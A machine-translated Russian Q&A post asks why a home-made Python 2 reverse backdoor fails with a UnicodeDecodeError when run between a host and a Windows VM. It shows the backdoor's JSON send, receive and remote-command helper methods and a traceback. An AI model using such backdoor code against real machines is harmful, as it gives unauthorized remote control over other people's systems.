Проблема при отправке данных с json в python (ошибка ut8) - PullRequest
0 голосов
/ 28 марта 2020

У меня проблема со сценарием, это резервный бэкдор, он отлично работает между моей хост-машиной и моей виртуальной машиной Kali, но между моей хост-машиной и моей виртуальной машиной Windows, я получил сообщение об ошибке "UnicodeDecodeError: 'utf8' код c не может декодировать байт 0x82 в позиции 58: недопустимый начальный байт ". Я использую Json для передачи и получения данных. Я понимаю, что это ошибка декодирования, но я действительно не знаю, как чтобы исправить это.

Мои части кода, который создает дамп данных для отправки и получения с помощью json:

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

def reliable_receive(self):
    json_data = self.connection.recv(1024)
    return json.loads(json_data)

def execute_remotely(self, command):
    self.reliable_send(command)
    return self.reliable_receive()

Спасибо за помощь :)

РЕДАКТИРОВАТЬ: Мое сообщение об ошибке:

    C:\Python27>backdoor.py
Traceback (most recent call last):
File "C:\Python27\backdoor.py", line 39, in <module>
    my_backdoor.run()
File "C:\Python27\backdoor.py", line 34, in run
    self.reliable_send(command_result)
File "C:\Python27\backdoor.py", line 17, in reliable_send
    json_data = json.dumps(data)
File "C:\Python27\lib\json\__init__.py", line 244, in dumps
    return _default_encoder.encode(obj)
File "C:\Python27\lib\json\encoder.py", line 201, in encode
    return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x82 in position 58: invalid stard byte
...